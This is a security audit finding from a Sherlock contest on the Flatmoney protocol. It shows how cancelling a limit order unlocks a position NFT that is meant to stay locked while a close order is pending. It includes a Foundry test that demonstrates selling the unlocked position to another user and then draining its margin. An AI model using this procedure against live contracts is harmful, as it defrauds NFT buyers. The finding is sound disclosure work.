User can unlock announce-locked NFT token by cancelling limit order

Summary

User can unlock announce-locked position NFT token by cancelling limit order.

Vulnerability Detail

When user calls announceLeverageAdjust(...) function or announceLeverageClose(...) function to create order to adjust/close a position, the position NFT token is locked to ensure it can't be transferred to someone else, and the token can only be unlocked when the order is executed.

However, a malicious user can bypass this limitation by announcing a limit and then cancelling it. As we can see a position NFT token is locked in announceLimitOrder(...) function:

        // Lock the NFT belonging to this position so that it can't be transferred to someone else.
        ILeverageModule(vault.moduleAddress(FlatcoinModuleKeys._LEVERAGE_MODULE_KEY)).lock(tokenId);

And the token is unlocked in cancelLimitOrder(...) function, this function can be called at anytime by the token owner:

        // Unlock the ERC721 position NFT to allow for transfers.
        ILeverageModule(vault.moduleAddress(FlatcoinModuleKeys._LEVERAGE_MODULE_KEY)).unlock(tokenId);

The problem is when creates a limit order, announceLimitOrder function does not check if the position NFT token is announced in DelayedOrder, so user can unlock a announced-locked token.

Consider the following scenario:

Alice wants to buy a leverage position from Bob;
Before transferring the position NFT token to Alice, Bob announces a leverage close order, token is locked;
Then Bob creates a limit order and cancels it immediately, token is unlocked;
Bob transferres the token to Alice;
After a mimimum delay, Bob executes the close order, the token is burned and margin is sent to Bob, Alice suffers a loss

Please see the test codes:

    function test_audit_unlock_token() public {
        announceAndExecuteDeposit({
            traderAccount: alice, 
            keeperAccount: keeper, 
            depositAmount: 100e18, 
            oraclePrice: 1000e8, 
            keeperFeeAmount: 0
        });

        // Bob opens a position
        uint256 tokenId = announceAndExecuteLeverageOpen({
            traderAccount: bob, 
            keeperAccount: keeper, 
            margin: 50e18, 
            additionalSize: 100e18, 
            oraclePrice: 1000e8, 
            keeperFeeAmount: 0
        });
        assertEq(leverageModProxy.ownerOf(tokenId), bob);

        uint256 bobBalanceAfterLeverageOpen = WETH.balanceOf(bob);
        uint256 aliceBalanceAfterLeverageOpen = WETH.balanceOf(alice);

        // Bob announces to close the position
        announceCloseLeverage({
            traderAccount: bob, 
            tokenId: tokenId, 
            keeperFeeAmount: 0
        });

        // position token is locked
        assertTrue(leverageModProxy.isLocked(tokenId));

        // Bob places a limit order and cancels it 
        vm.startPrank(bob);
        uint256 liqPrice = liquidationModProxy.liquidationPrice(tokenId);
        limitOrderProxy.announceLimitOrder({
            tokenId: tokenId,
            priceLowerThreshold: 0,
            priceUpperThreshold: 1
        });
        limitOrderProxy.cancelLimitOrder(tokenId);
        vm.stopPrank();

        // position token is unlocked
        assertFalse(leverageModProxy.isLocked(tokenId));

        // Bob transfers (sell) position token to Alice
        vm.prank(bob);
        leverageModProxy.transferFrom(bob, alice, tokenId);
        assertEq(leverageModProxy.ownerOf(tokenId), alice);

        skip(uint256(vaultProxy.minExecutabilityAge()));

        // position is closed and token is burned
        vm.startPrank(keeper);
        uint256 collateralPrice = 1000e8;
        bytes[] memory priceUpdateData = getPriceUpdateData(collateralPrice);
        delayedOrderProxy.executeOrder{value: 1}(bob, priceUpdateData);
        vm.stopPrank();

        uint256 bobBalanceAfterLeverageClose = WETH.balanceOf(bob);
        uint256 aliceBalanceAfterLeverageClose = WETH.balanceOf(alice);

        // Collaterals are sent to Bob instead of Alice
        assertTrue(bobBalanceAfterLeverageClose > bobBalanceAfterLeverageOpen);
        assertTrue(aliceBalanceAfterLeverageClose == aliceBalanceAfterLeverageOpen);
    }

Impact

Position NFT token can be unlocked when an delay order is announced but not executed, a malicious user can exploit this and cause loss to the honest user.

Code Snippet

https://github.com/sherlock-audit/2023-12-flatmoney/blob/main/flatcoin-v1/src/LimitOrder.sol#L58

Tool used

Manual Review

Recommendation

When creates a limit order, protocol should check if the position NFT token is locked and revert if so.

Duplicate of #48

sherlock-audit / 2023-12-flatmoney-judging

HSP - User can unlock announce-locked NFT token by cancelling limit order #89